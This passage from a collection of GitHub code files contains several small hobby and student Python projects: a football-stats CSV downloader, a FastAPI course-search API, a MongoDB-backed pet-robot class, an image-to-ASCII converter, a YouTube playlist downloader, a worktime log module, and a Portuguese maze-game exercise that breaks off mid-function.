{"seq_id":"3982303698","text":"# -*- coding: utf-8 -*-\n\"\"\"\nCreated on Wed Jul 13 16:01:50 2022\n\n@author: danie\n\"\"\"\n\nimport pandas as pd\n\ngameweek = [gw for gw in range(1, 39)]\ncsv_url = 'https://raw.githubusercontent.com/vaastav/Fantasy-Premier-League/master/data/2021-22/gws/'    \ndfs = []\n\nfor gw in gameweek:\n   dfs1 = []     \n   gw_url = csv_url+f\"gw{gw}.csv\"\n   for p in gameweek:\n       url = gw_url\n       print(url)\n       df = pd.read_csv(url)\n       dfs1.append(df)\n   dfs.append(pd.concat(dfs1).drop_duplicates()) \n#removed axis=1 as it duplicated columns\n#added drop_duplicate to remove duplicate rows\nresult_pm10 = pd.concat(dfs, keys=gameweek)\n                #.rename_axis(('location','data'))\n                #.dropna(axis=1, how='all')\n                #.reset_index()\nprint (result_pm10)\nresult_pm10.to_csv(r\"D:\\Programming\\Python\\Output\\FPL\\all_gw_export_data.csv\", index = False, header=True)","repo_name":"DHR13/hello-world","sub_path":"Football_Analytics/test.py","file_name":"test.py","file_ext":"py","file_size_in_byte":880,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"35"}
{"seq_id":"40249905864","text":"from typing import Union\n\n\n# put it here so that it can be used in submit as well.\ndef keygen(*,\n           shuffle_type: str,\n           split_seed: Union[int, str],\n           sparse: str,\n           model_seed: int,\n           act_fn: str,\n           loss_type: str,\n           suffix: str,\n           ):\n    # suffix itself can contain /\n    suffix = suffix.replace('/', '=')\n    return f'crcns_pvc8_large/transfer_learning_factorized_vgg/shuffle_type{shuffle_type}/split_seed{split_seed}/act{act_fn}/sparse{sparse}/{suffix}/loss{loss_type}/model_seed{model_seed}'  # noqa: E501\n\n\ndef script_keygen(**kwargs):\n    key = keygen(**kwargs)\n\n    # remove crcns_pvc8_large/transfer_learning_factorized_vgg part\n    return '+'.join(key.split('/')[2:])\n","repo_name":"leelabcnbc/thesis-yimeng-v2","sub_path":"scripts/training/crcns_pvc8_large/transfer_learning_factorized_vgg/key_utils.py","file_name":"key_utils.py","file_ext":"py","file_size_in_byte":750,"program_lang":"python","lang":"en","doc_type":"code","stars":1,"dataset":"github-code","pt":"35"}
{"seq_id":"41915610390","text":"from fastapi import APIRouter, Body, HTTPException, Path, Query, Response\n\nfrom src.api import schemas\nfrom src.api.models.courses import Conditions, Processor\n\nrouter = APIRouter()\ncourses = Processor(json_path=\"data/courses/11210.json\")\nDESCRIPTION_OF_LIMITS = \"最大回傳資料筆數\"\n\n\n@router.get(\"/\", response_model=list[schemas.courses.CourseData])\nasync def get_all_courses_list(\n    response: Response,\n    limits: int = Query(None, ge=1, example=5, description=DESCRIPTION_OF_LIMITS),\n):\n    \"\"\"\n    取得所有課程。\n    \"\"\"\n    result = courses.course_data[:limits]\n    response.headers[\"X-Total-Count\"] = str(len(result))\n    return result\n\n\n@router.get(\"/fields/info\", response_model=dict[str, str])\nasync def get_all_fields_list_info():\n    \"\"\"\n    取得所有欄位的資訊。\n    \"\"\"\n    return {\n        \"id\": \"科號\",\n        \"chinese_title\": \"課程中文名稱\",\n        \"english_title\": \"課程英文名稱\",\n        \"credit\": \"學分數\",\n        \"size_limit\": \"人限：若為空字串表示無人數限制\",\n        \"freshman_reservation\": \"新生保留人數：若為0表示無新生保留人數\",\n        \"object\": \"通識對象：[代碼說明(課務組)](https://curricul.site.nthu.edu.tw/p/404-1208-11133.php)\",\n        \"ge_type\": \"通識類別\",\n        \"language\": '授課語言：\"中\"、\"英\"',\n        \"note\": \"備註\",\n        \"suspend\": '停開註記：\"停開\"或空字串',\n        \"class_room_and_time\": \"教室與上課時間：一間教室對應一個上課時間，中間以tab分隔；多個上課教室以new line字元分開\",\n        \"teacher\": \"授課教師：多位教師授課以new line字元分開；教師中英文姓名以tab分開\",\n        \"prerequisite\": \"擋修說明：會有html entities\",\n        \"limit_note\": \"課程限制說明\",\n        \"expertise\": \"第一二專長對應：對應多個專長用tab字元分隔\",\n        \"program\": \"學分學程對應：用半形/分隔\",\n        \"no_extra_selection\": \"不可加簽說明\",\n        \"required_optional_note\": \"必選修說明：多個必選修班級用tab字元分隔\",\n    }\n\n\n@router.get(\"/fields/{field_name}\", response_model=list[str])\nasync def get_selected_fields_list(\n    field_name: schemas.courses.CourseFieldName = Path(\n        ..., example=\"id\", description=\"欄位名稱\"\n    ),\n    limits: int = Query(None, ge=1, example=20, description=DESCRIPTION_OF_LIMITS),\n):\n    \"\"\"\n    取得指定欄位的列表。\n    \"\"\"\n    result = courses.list_selected_fields(field_name)[:limits]\n    return result\n\n\n@router.get(\n    \"/fields/{field_name}/{value}\", response_model=list[schemas.courses.CourseData]\n)\nasync def get_selected_field_and_value_data(\n    field_name: schemas.courses.CourseFieldName = Path(\n        ..., example=\"chinese_title\", description=\"搜尋的欄位名稱\"\n    ),\n    value: str = Path(..., example=\"產業創新與生涯探索\", description=\"搜尋的值\"),\n    limits: int = Query(None, ge=1, example=5, description=DESCRIPTION_OF_LIMITS),\n):\n    \"\"\"\n    取得指定欄位滿足搜尋值的課程列表。\n    \"\"\"\n    condition = Conditions(field_name, value, False)\n    result = courses.query(condition)[:limits]\n    return result\n\n\n@router.get(\"/lists/{list_name}\", response_model=list[schemas.courses.CourseData])\nasync def get_courses_list(\n    list_name: schemas.courses.CourseListName,\n    response: Response,\n    limits: int = Query(None, ge=1, example=5, description=DESCRIPTION_OF_LIMITS),\n) -> list[schemas.courses.CourseData]:\n    \"\"\"\n    取得指定類型的課程列表。\n    \"\"\"\n    if list_name == \"16weeks\":\n        condition = Conditions(\"note\", \"16週課程\", True)\n    elif list_name == \"microcredits\":\n        condition = Conditions(\"credit\", \"[0-9].[0-9]\", True)\n    elif list_name == \"xclass\":\n        condition = Conditions(\"note\", \"X-Class\", True)\n    else:\n        raise HTTPException(status_code=400, detail=\"Invalid list name\")\n    result = courses.query(condition)[:limits]\n    response.headers[\"X-Total-Count\"] = str(len(result))\n    return result\n\n\n@router.get(\"/searches\", response_model=list[schemas.courses.CourseData])\nasync def search_by_field_and_value(\n    field: schemas.courses.CourseFieldName = Query(\n        ...,\n        example=schemas.courses.CourseFieldName.chinese_title,\n        description=\"搜尋的欄位名稱\",\n    ),\n    value: str = Query(..., example=\"產業.+生涯\", description=\"搜尋的值（可以使用 Regex，正則表達式）\"),\n    limits: int = Query(None, ge=1, example=5, description=DESCRIPTION_OF_LIMITS),\n):\n    \"\"\"\n    取得指定欄位滿足搜尋值的課程列表。\n    \"\"\"\n    condition = Conditions(field, value, True)\n    result = courses.query(condition)[:limits]\n    return result\n\n\n@router.post(\"/searches\", response_model=list[schemas.courses.CourseData])\nasync def get_courses_by_condition(\n    query_condition: (\n        schemas.courses.CourseQueryCondition | schemas.courses.CourseCondition\n    ) = Body(\n        openapi_examples={\n            \"normal_1\": {\n                \"summary\": \"單一搜尋條件\",\n                \"description\": \"只使用單一搜尋條件，類似於 GET 方法\",\n                \"value\": {\n                    \"row_field\": \"chinese_title\",\n                    \"matcher\": \"數統導論\",\n                    \"regex_match\": True,\n                },\n            },\n            \"normal_2\": {\n                \"summary\": \"兩個搜尋條件\",\n                \"description\": \"使用兩個搜尋條件，例如：黃姓老師 或 孫姓老師開設的課程\",\n                \"value\": [\n                    {\n                        \"row_field\": \"teacher\",\n                        \"matcher\": \"黃\",\n                        \"regex_match\": True,\n                    },\n                    \"or\",\n                    {\n                        \"row_field\": \"teacher\",\n                        \"matcher\": \"孫\",\n                        \"regex_match\": True,\n                    },\n                ],\n            },\n            \"normal_nested\": {\n                \"summary\": \"多層搜尋條件\",\n                \"description\": \"使用巢狀搜尋條件，例如：(3學分的課程) 且 ((統計所 或 數學系開設的課程) 且 (開課時間是T3T4 或 開課時間是R3R4))\",\n                \"value\": [\n                    {\"row_field\": \"credit\", \"matcher\": \"3\", \"regex_match\": True},\n                    \"and\",\n                    [\n                        [\n                            {\"row_field\": \"id\", \"matcher\": \"STAT\", \"regex_match\": True},\n                            \"or\",\n                            {\"row_field\": \"id\", \"matcher\": \"MATH\", \"regex_match\": True},\n                        ],\n                        \"and\",\n                        [\n                            {\n                                \"row_field\": \"class_room_and_time\",\n                                \"matcher\": \"T3T4\",\n                                \"regex_match\": True,\n                            },\n                            \"or\",\n                            {\n                                \"row_field\": \"class_room_and_time\",\n                                \"matcher\": \"R3R4\",\n                                \"regex_match\": True,\n                            },\n                        ],\n                    ],\n                ],\n            },\n        }\n    ),\n    limits: int = Query(None, ge=1, example=5, description=DESCRIPTION_OF_LIMITS),\n):\n    \"\"\"\n    根據條件取得課程。\n    \"\"\"\n    if type(query_condition) is schemas.courses.CourseCondition:\n        condition = Conditions(\n            query_condition.row_field.value,\n            query_condition.matcher,\n            query_condition.regex_match,\n        )\n    elif type(query_condition) is schemas.courses.CourseQueryCondition:\n        # 設定 mode=\"json\" 是為了讓 dump 出來的內容不包含 python 的實體 (instance)\n        condition = Conditions(\n            list_build_target=query_condition.model_dump(mode=\"json\")\n        )\n    result = courses.query(condition)[:limits]\n    return result\n","repo_name":"NTHU-SA/NTHU-Data-API","sub_path":"src/api/routers/courses.py","file_name":"courses.py","file_ext":"py","file_size_in_byte":8038,"program_lang":"python","lang":"en","doc_type":"code","stars":2,"dataset":"github-code","pt":"35"}
{"seq_id":"16556996495","text":"import pymongo\nimport random\nimport json\nfrom pymongo.server_api import ServerApi\n\n# 3 required files: petID.json, pet_info.json,user_info.json\n# info => local => cloud \nclass WatsonPet:\n    def __init__(self):\n        self.last_active_time = None\n        \n        ### fetch ID from file \n        with open('routines/general/petID.json') as f:\n            info = json.load(f)\n            self.id = info['pet']['id']\n        self.query = {\"_id\":self.id}\n        ### infos\n        self.pet = {}\n        self.user = {}\n\n        ### connect to db\n        with open('routines/general/credentials.json') as f:\n            creds = json.load(f)\n        self.conn_str=creds[\"mongodb_connstr\"]\n        client = pymongo.MongoClient(self.conn_str, server_api=ServerApi('1'))\n        self.database = client[\"WatsonAIPet\"]\n        petinfo = self.database['petinfo']\n        userinfo = self.database['userinfo']  \n\n        ### fetch/ initialise pet info data \n        res_pet = None\n        for x in petinfo.find({\"_id\":self.id}):\n            res_pet = x\n\n        if res_pet == None:\n            self.pet[\"_id\"] = self.id\n            touch_mark = [0.5,0.2,0.05]\n            random.shuffle(touch_mark)\n            self.pet['TOUCH1'] = touch_mark[0]\n            self.pet['TOUCH2'] = touch_mark[1]\n            self.pet['TOUCH3'] = touch_mark[2]\n            self.pet['EYE'] = random.randint(1,3)\n            self.pet['MOUTH'] = random.randint(1,5)\n            self.pet['VOICE'] = random.randint(0,1)\n            print('pet: How shall I call you') #TODO modify to speech processing\n            self.pet['OWNER'] = 'lily' #TODO\n            self.pet['EMO'] = 8\n            petinfo.insert_one(self.pet)\n        else:\n            self.pet = res_pet\n\n        ### fetch/ initialise pet info data \n        res_user = None\n        for x in userinfo.find({\"_id\":self.id}):\n            res_user = x\n\n        if res_user == None:\n            self.user[\"_id\"] = self.id\n            self.user['SPOTIFY'] = 0\n            self.user['CALENDAR'] = 0\n            self.user['TWITTER'] = 0\n            self.user['RATIO'] = round(random.uniform(0.2,0.8),2)\n            self.user['MUSIC'] = 0\n            self.user['PODCAST'] = 0\n            self.user['START_ALARM'] = '7:0'\n            self.user['END_ALARM'] = '22:0'\n            self.user['REPORT_EVENT'] = 0\n            self.user['AUDIO_PLAYING'] = 0\n            self.user['BOOK'] = 0\n            userinfo.insert_one(self.user)\n        else:\n            self.user = res_user\n\n    \n\n    def getInfo(self,table,column): # OK!\n        #get a column data value from the a table\n        if table == 'pet':\n            return self.pet[column]\n        elif table == 'user':\n            return self.user[column]\n        return \n\n    def getAllInfo(self,table): # OK!\n        # get all info as a dict from the table\n        if table == 'pet':\n            return self.pet\n        elif table == 'user':\n            return self.user\n        return\n\n    def updateEmo(self,change): # OK!\n        # update the emotion data by adding the changing value and update to db\n        self.pet['EMO'] += change\n        if self.pet['EMO'] > 10:\n            self.pet['EMO'] = 10\n        if self.pet['EMO'] < 0:\n            self.pet['EMO'] = 0\n        petinfo = self.database['petinfo']\n        petinfo.update_one(self.query,{\"$set\":{'EMO':self.pet['EMO']}})\n    \n    def updateInfo(self,column,value): # OK!\n        # update data of a specified column and update to db\n        if column != '_id':\n            self.user[column] = value\n            userinfo = self.database['userinfo']\n            userinfo.update_one(self.query,{\"$set\":{column:value}})\n        \n    def updateRatio(self): # OK!\n        # calculate the new ratio via the formula and update to db\n        m = self.user['MUSIC']\n        p = self.user['PODCAST']\n        r = self.user['RATIO']\n\n        if (m+p)!= 0:\n            rate  = 0.3\n            ratio_mp = m/(m+p)\n            value = round((ratio_mp - r)*rate + r,2)\n            self.updateInfo('RATIO',value)\n\n    def getWorkingHours(self):\n        # extract working hours information from tables \n        s = self.user['START_ALARM']\n        e = self.user['END_ALARM']\n        res = [0,0,0,0]\n        res[0],res[1] = int(s.split(':')[0]),int(s.split(':')[1])\n        res[2],res[3] = int(e.split(':')[0]),int(e.split(':')[1])\n        return res\n\n\n","repo_name":"sh1319/IBM-AI-Watson-Pet-Project","sub_path":"routines/general/pet_db.py","file_name":"pet_db.py","file_ext":"py","file_size_in_byte":4355,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"35"}
{"seq_id":"40097834704","text":"from PIL import Image\nimport subprocess\nimport os\n\ncoefs = (0.2126, 0.7152, 0.0722,)\n\nasc = []\nf = open(\"symbols.txt\", \"r\")\nfor x in f:\n    asc.append(x[:-1])\nf.close()\n\ni = input(\"Enter picture's file name: \")\ntry:\n    img = Image.open(i)\nexcept:\n    print(\"Wrong file name\")\n    exit()\n\ncomp = 7 - int(input(\"Please state level of vertical compression(0 for none, up to 5): \"))\nwhile comp >= img.size[1] or comp > 7:\n    print(\"Level of vertical compression is too high!\")\n    comp = 7 - int(input(\"Please state correct level of vertical compression: \"))\n\npix = img.load()\nnewpix = [['0' for _ in range(img.size[0])] for _ in range(img.size[1])]\nnum = len(asc) - 1\nfor i in range(img.size[0]):\n    for j in range(img.size[1]):\n        col = pix[i,j]\n        newpix[j][i] = asc[-1 * round((col[0] * coefs[0] + col[1] * coefs[1] + col[2] * coefs[2]) * num / 255)]\n\nf = open(\"img.txt\", \"w\")\nif comp == 7: \n    for i in newpix:\n        for j in i:\n            f.write(j)\n        f.write(\"\\n\")\nelse:\n    for i in range(len(newpix)):\n        if i % comp == 0:\n            continue\n        for j in range(len(newpix[i])):\n            f.write(newpix[i][j])\n        f.write(\"\\n\")\nf.close()\n\n# for i in range(len(newpix)):\n#     if i % 2 == 0:\n#         continue\n#     for j in range(len(newpix[i])):\n#         print(newpix[i][j], end='')\n#     print()\n\nsubprocess.check_output('start /wait ' + os.path.abspath(\"img.txt\"), shell=True)","repo_name":"MaxSprog/ImageToASCII","sub_path":"imgtoascii.py","file_name":"imgtoascii.py","file_ext":"py","file_size_in_byte":1426,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"35"}
{"seq_id":"19516324709","text":"import os\nfrom pytube import Playlist\n\n\ndef make_alpha_numeric(string):\n    return ''.join(char for char in string if char.isalnum())\n\n\nlink = input(\"Enter YouTube Playlist URL: ✨\")\n\nyt_playlist = Playlist(link)\n\nfolderName = make_alpha_numeric(yt_playlist.title)\nos.mkdir(folderName)\n\ntotalVideoCount = len(yt_playlist.videos)\nprint(\"Total videos in playlist: 🎦\", totalVideoCount)\n\nfor index, video in enumerate(yt_playlist.videos, start=1):\n    print(\"Downloading:\", video.title)\n    video_size = video.streams.get_highest_resolution().filesize\n    print(\"Size:\", video_size // (1024 ** 2), \"🗜 MB\")\n    video.streams.get_highest_resolution().download(output_path=folderName)\n    print(\"Downloaded:\", video.title, \"✨ successfully!\")\n    print(\"Remaining Videos:\", totalVideoCount - index)\n\nprint(\"All videos downloaded successfully! 🎉\")\n","repo_name":"DhananjayPorwal/youtube-playlist-downloader","sub_path":"playlist_downloader.py","file_name":"playlist_downloader.py","file_ext":"py","file_size_in_byte":851,"program_lang":"python","lang":"en","doc_type":"code","stars":4,"dataset":"github-code","pt":"35"}
{"seq_id":"31253386507","text":"import time\nimport shutil\nimport datetime\n\nfrom worktime_tracker.constants import STATES_TYPE, LOGS_PATH, LAST_CHECK_PATH\nfrom worktime_tracker.utils import reverse_read_lines\nfrom worktime_tracker.date_utils import coerce_to_timestamp\n\n\nclass Log:\n    \"\"\"Represents a log entry at a single point of time, basically containing a timestamp and a state.\n    It is supposed to match the format of the logs file.\n    \"\"\"\n\n    def __init__(self, timestamp: float, state: STATES_TYPE) -> None:\n        self.timestamp = coerce_to_timestamp(timestamp)\n        self.datetime = datetime.datetime.fromtimestamp(self.timestamp)\n        self.state = state\n\n    def __repr__(self) -> str:\n        date_str = self.datetime.strftime(\"%Y-%m-%d %H:%M:%S\")\n        return f\"Log<date={date_str}, state={self.state}>\"\n\n    def __eq__(self, other) -> bool:\n        return self.timestamp == other.timestamp and self.state == other.state\n\n    def __lt__(self, other) -> bool:\n        return self.timestamp < other.timestamp\n\n    def __le__(self, other) -> bool:\n        return self.timestamp <= other.timestamp\n\n    def __gt__(self, other) -> bool:\n        return self.timestamp > other.timestamp\n\n    def __ge__(self, other) -> bool:\n        return self.timestamp >= other.timestamp\n\n\ndef write_last_check(timestamp: float) -> None:\n    with LAST_CHECK_PATH.open(\"w\") as f:\n        f.write(str(timestamp) + \"\\n\")\n\n\ndef read_last_check_timestamp() -> float:\n    if not LAST_CHECK_PATH.exists():\n        with open(LAST_CHECK_PATH, \"w\", encoding=\"utf8\") as f:\n            f.write(\"0\\n\")\n    with LAST_CHECK_PATH.open(\"r\") as f:\n        return float(f.readline().strip())\n\n\ndef write_log(log: Log) -> None:\n    with LOGS_PATH.open(\"a\") as f:\n        f.write(f\"{log.timestamp}\\t{log.state}\\n\")\n\n\ndef maybe_write_log(log: Log):\n    # TODO: lock file\n    last_log = read_last_log()\n    if last_log.state == log.state:\n        return\n    write_log(log)\n\n\ndef parse_log_line(log_line: str) -> Log:\n    timestamp, state = log_line.strip().split(\"\\t\")\n    return Log(timestamp=float(timestamp), state=state)\n\n\ndef reverse_read_logs() -> list[Log]:\n    if not LOGS_PATH.exists():\n        LOGS_PATH.parent.mkdir(exist_ok=True)\n        write_log(Log(timestamp=0, state=\"locked\"))\n    for line in reverse_read_lines(LOGS_PATH):\n        yield parse_log_line(line)\n\n\ndef read_last_log() -> Log:\n    try:\n        return next(reverse_read_logs())\n    except StopIteration:\n        return None\n\n\ndef get_rewritten_history_logs(\n    logs: list[Log], start_datetime: datetime.datetime, end_datetime: datetime.datetime, new_state: STATES_TYPE\n) -> list[Log]:\n    # TODO: adapt function to use the Log class and datetimes\n    start_timestamp = start_datetime.timestamp()\n    end_timestamp = end_datetime.timestamp()\n    logs = [(log.timestamp, log.state) for log in logs]\n    # TODO: Should we compare to datetime.now() instead? Right now if the last log is old, we can't rewrite after it.\n    assert end_timestamp < logs[-1][0], \"Rewriting the future not allowed\"\n    # Remove logs that are in the interval to be rewritten\n    logs_before = [(timestamp, state) for (timestamp, state) in logs if timestamp <= start_timestamp]\n    logs_after = [(timestamp, state) for (timestamp, state) in logs if timestamp > end_timestamp]\n    logs_inside = [(timestamp, state) for (timestamp, state) in logs if start_timestamp < timestamp <= end_timestamp]\n    if len(logs_inside) > 0:\n        # Push back last log inside to be the first of logs after (the rewritten history needs to end on the same\n        # state as it was actually recorded)\n        logs_after = [(end_timestamp, logs_inside[-1][1])] + logs_after\n    else:\n        # If there were no states inside, then just take the last log before to have the same state\n        logs_after = [(end_timestamp, logs_before[-1][1])] + logs_after\n    # Edge cases to not have two identical subsequent states\n    if logs_before[-1][1] == new_state:\n        # Change the start date to the previous one if it is the same state\n        start_timestamp = logs_before[-1][0]\n        logs_before = logs_before[:-1]\n    if logs_after[0][1] == new_state:\n        # Remove first element if it is the same as the one we are going to introduce\n        logs_after = logs_after[1:]\n    return logs_before + [(start_timestamp, new_state)] + logs_after\n\n\ndef get_all_logs():\n    return [log for log in reverse_read_logs()][::-1]\n\n\ndef rewrite_history(start_datetime: datetime.datetime, end_datetime: datetime.datetime, new_state: STATES_TYPE) -> None:\n    from worktime_tracker.history import History  # Circular import\n\n    # Careful, this methods rewrites the entire log file\n    backup_dir = LOGS_PATH.parent / \"backup\"\n    backup_dir.mkdir(exist_ok=True)\n    shutil.copy(LOGS_PATH, backup_dir / f\"{LOGS_PATH.name}.bck{int(time.time())}\")\n    logs = get_all_logs()\n    logs += [Log(time.time(), \"locked\")]  # So that we take the last interval into account\n    # TODO: Rewrite the function to use the Log class\n    new_logs = get_rewritten_history_logs(logs, start_datetime, end_datetime, new_state)\n    with LOGS_PATH.open(\"w\") as f:\n        for timestamp, state in new_logs:\n            f.write(f\"{timestamp}\\t{state}\\n\")\n    History.clear()\n\n\ndef remove_identical_consecutive_states(logs):\n    \"\"\"Cleans identical consecutive logs which should not change the resulting worktime.\n\n    Should be used to clean the log file.\"\"\"\n    previous_state = None\n    new_logs = []\n    for timestamp, state in logs:\n        if state == previous_state:\n            continue\n        new_logs.append((timestamp, state))\n        previous_state = state\n    return new_logs\n","repo_name":"louismartin/worktime-tracker","sub_path":"worktime_tracker/logs.py","file_name":"logs.py","file_ext":"py","file_size_in_byte":5634,"program_lang":"python","lang":"en","doc_type":"code","stars":7,"dataset":"github-code","pt":"35"}
{"seq_id":"21494381209","text":"# Task 12\r\n# Созданы переменные a и b. Создайте переменную c куда поместите a умноженное на b.  Результат - переменную с, выведите в консоль с помощью print. Обратите внимание, что задача уже решена. Просто изучите вывод. \r\n\r\na = 3\r\nb = 9\r\n\r\n# write your code under this line\r\n\r\nc = a * b\r\n\r\nprint(c)\r\nprint(type(c)) # посмотреть тип данных\r\n","repo_name":"GrytsenkoAndrey/itgid-python","sub_path":"sprint_02/12.py","file_name":"12.py","file_ext":"py","file_size_in_byte":518,"program_lang":"python","lang":"ru","doc_type":"code","stars":0,"dataset":"github-code","pt":"35"}
{"seq_id":"35477579593","text":"#numero 95625 Mara Gomes Alves\r\n\r\n\r\ndef eh_labirinto (maze):\r\n    \r\n    if not isinstance (maze, tuple): #verifica se e tuplo\r\n        return False\r\n    elif len(maze) < 3: #verifica minimo de 3 nas abcissas\r\n        return False \r\n    \r\n    #subtuplos\r\n    else:\r\n        for t in range(len(maze)):\r\n            if not isinstance (maze[t], tuple): #dentro do tuplo principal so ha tuplos\r\n                return False\r\n            elif len(maze[t]) != len(maze[t-1]): #todos os tuplos tem o mesmo comprimento\r\n                return False\r\n            elif len(maze[t]) < 3: #verifica se cumpre o minimo 3 nas ordenadas\r\n                return False\r\n            \r\n            #elementos dos subtuplos\r\n            else:\r\n                for e in range(len(maze[t])):\r\n                    if type (maze[t][e]) != int: #corrige o problema de aceitar true e false como elementos\r\n                        return False\r\n                    elif maze[t][e] != 0 and maze[t][e] != 1: #elementos dos tuplos so podem ser 0 ou 1\r\n                        return False                    \r\n                    elif t == 0 and maze[t][e] != 1: #primeiro tuplo so paredes\r\n                        return False\r\n                    elif t == len(maze)-1 and maze[t][e] != 1: #ultimo tuplo so paredes\r\n                        return False                    \r\n                    elif (e == 0 and maze[t][e] != 1) or (e == len(maze[t])-1 and maze[t][e] != 1): #primeiro e ultimo elementos dos tuplos sao 1\r\n                        return False                  \r\n    return True\r\n\r\n\r\n\r\n\r\ndef eh_posicao (posicao):\r\n    \r\n    if not isinstance (posicao, tuple): #verifica se e um tuplo\r\n        return False\r\n    elif len(posicao) != 2: #verifica se tem apenas dois elementos\r\n        return False\r\n\r\n    else:\r\n        for e in posicao:\r\n            if not isinstance (e, int):\r\n                return False\r\n            if e < 0: #apenas aceita coordenadas positivas\r\n                return False\r\n    return True\r\n\r\n\r\n\r\n\r\ndef eh_conj_posicoes (unidades):\r\n    \r\n    if not isinstance (unidades, tuple):\r\n        return False\r\n    \r\n    posicoes = ()\r\n    for e in unidades:\r\n        if not eh_posicao (e):\r\n            return False\r\n        else:\r\n            if e in posicoes: #se for um elemento repetido, ou seja, se ja estiver na lista de posicoes, e falso\r\n                return False\r\n            else:\r\n                posicoes = posicoes + (e,) #guardar posicoes num novo tuplo para o ciclo verificar se sao repetidas\r\n    return True\r\n\r\n\r\n\r\n\r\ndef tamanho_labirinto (maze):\r\n    \r\n    if not eh_labirinto (maze):\r\n        raise ValueError ('tamanho_labirinto: argumento invalido')\r\n    \r\n    return (len(maze), len(maze[0]))\r\n\r\n\r\n\r\n\r\ndef eh_mapa_valido (maze, unidades):\r\n    \r\n    if not eh_labirinto (maze) or not eh_conj_posicoes (unidades):\r\n        raise ValueError ('eh_mapa_valido: algum dos argumentos e invalido')\r\n    \r\n    for t in range(len(unidades)):\r\n        x = unidades[t][0]\r\n        if x > len (maze): #ver se x das varias posicoes nao ultrapassa o comprimento do labirinto\r\n            return False \r\n        y = unidades[t][1]\r\n        if y > len (maze[0]): #ver se y das varias posicoes nao ultrapassa a altura do labirinto\r\n            return False \r\n        if maze[x][y] == 1: #ver se posicao (x,y) nao calha numa posicao ocupada por parede\r\n            return False\r\n        \r\n    return True\r\n\r\n\r\n\r\n\r\ndef eh_posicao_livre (maze, unidades, posicao):\r\n    \r\n    try: #verifica se as funcoes anteriores deram erro\r\n        eh_mapa_valido (maze, unidades)\r\n        eh_posicao(posicao)\r\n    except ValueError: #se sim, esta funcao tambem da erro\r\n        raise ValueError ('eh_posicao_livre: algum dos argumentos e invalido')\r\n    \r\n    if not eh_mapa_valido (maze, unidades) or not eh_posicao(posicao): #se as funcoes anteriores deram false esta da erro\r\n        raise ValueError ('eh_posicao_livre: algum dos argumentos e invalido')\r\n    for e in unidades:\r\n        if e == posicao: #se a posicao e igual a alguma posicao ja ocupada pelas unidades entao e falso\r\n            return False\r\n        x = posicao[0]\r\n        if x > len (maze): #ver se x da posicao nao ultrapassa o comprimento do labirinto\r\n            return False \r\n        y = posicao[1]\r\n        if y > len (maze[0]): #ver se y da posicao nao ultrapassa a altura do labirinto\r\n            return False \r\n        if maze[x][y] == 1: #ver se posicao (x,y) nao calha numa posicao ocupada por parede\r\n            return False\r\n        \r\n    return True\r\n\r\n\r\n\r\n\r\ndef posicoes_adjacentes (posicao):\r\n    \r\n    if not eh_posicao(posicao):\r\n        raise ValueError('posicoes_adjacentes: argumento invalido')\r\n    conj_posicoes = ()\r\n    \r\n    posicao1 = (posicao[0], posicao[1]-1) #calcular a primeira posicao e se for valida adiciona-la ao conjunto das posicoes\r\n    if eh_posicao(posicao1):\r\n        conj_posicoes = conj_posicoes + (posicao1,)\r\n        \r\n    posicao2 = (posicao[0]-1, posicao[1]) #mesmo processo para as restantes posicoes possiveis\r\n    if eh_posicao(posicao2):\r\n        conj_posicoes = conj_posicoes + (posicao2,)\r\n        \r\n    posicao3 = (posicao[0]+1, posicao[1])\r\n    if eh_posicao(posicao3):\r\n        conj_posicoes = conj_posicoes + (posicao3,)\r\n        \r\n    posicao4 = (posicao[0], posicao[1]+1)\r\n    if eh_posicao(posicao4):\r\n        conj_posicoes = conj_posicoes + (posicao4,)\r\n        \r\n    return conj_posicoes\r\n\r\n\r\n\r\n\r\ndef mapa_str (maze, unidades):\r\n    \r\n    #verificar se eh_mapa_valido da erro\r\n    try: \r\n        eh_mapa_valido (maze, unidades)\r\n    except ValueError: #se eh_mapa_valido da erro, mapa_str tambem\r\n        raise ValueError ('mapa_str: algum dos argumentos e invalido')\r\n    if not eh_mapa_valido (maze, unidades): #se eh_mapa_valido da false, mapa_str da erro\r\n        raise ValueError ('mapa_str: algum dos argumentos e invalido')\r\n    \r\n    res = ('')\r\n    linha = 0\r\n    coluna = 0\r\n    \r\n    while coluna < len(maze) and linha < len(maze[coluna]):\r\n        if (coluna, linha) in unidades: #se coordenadas forem iguais as de alguma posicao, assinalar com O\r\n            res = res + 'O'\r\n        elif maze[coluna][linha] == 1: #paredes\r\n            res = res + '#'\r\n        elif maze[coluna][linha] == 0: #espacos vazios\r\n            res = res + '.'\r\n        coluna = coluna + 1\r\n        if coluna == len(maze) and linha + 1 < len(maze[coluna-1]): #quando acabar de percorrer uma linha e a proxima ainda existir\r\n            res = res + '\\n'\r\n            coluna = 0 #recomecar colunas\r\n            linha = linha + 1 #passar a proxima linha\r\n            \r\n    return res\r\n\r\n\r\n\r\n\r\ndef obter_objetivos (maze, unidades, posicao):\r\n    \r\n    #verificar erros\r\n    try:\r\n        eh_mapa_valido (maze, unidades)\r\n        eh_posicao (posicao)\r\n    except ValueError:\r\n        raise ValueError ('obter_objetivos: algum dos argumentos e invalido')\r\n    if not eh_mapa_valido or not eh_posicao (posicao) or (posicao not in unidades):\r\n        raise ValueError ('obter_objetivos: algum dos argumentos e invalido')\r\n    \r\n    unidades_exceto_posicao = ()\r\n    objetivos = ()\r\n    \r\n    #criar nova lista de unidades sem a posicao\r\n    for u in unidades: \r\n        if u != posicao:\r\n            unidades_exceto_posicao = unidades_exceto_posicao + (u,)\r\n            \r\n    for u in unidades_exceto_posicao: \r\n        #verficar se ha erros erros\r\n        try: \r\n            posicoes_adjacentes (u)\r\n        except ValueError:\r\n            raise ValueError ('obter_objetivos: algum dos argumentos e invalido')\r\n        \r\n        for a in posicoes_adjacentes(u):\r\n            #verficar se ha erros erros\r\n            try: \r\n                eh_posicao_livre (maze, unidades, a)\r\n            except ValueError:\r\n                raise ValueError ('obter_objetivos: algum dos argumentos e invalido')\r\n            \r\n            if eh_posicao_livre (maze, unidades, a) and a not in objetivos: #se uma posicao adjacente a uma das unidade estiver livre e ainda nao estiver em objetivos, adiciona-se a objetivos\r\n                objetivos = objetivos + (a,) \r\n                \r\n    return objetivos\r\n\r\n\r\n\r\n\r\ndef obter_caminho (maze, unidades, posicao):\r\n    \r\n    #verificar erros\r\n    try:\r\n        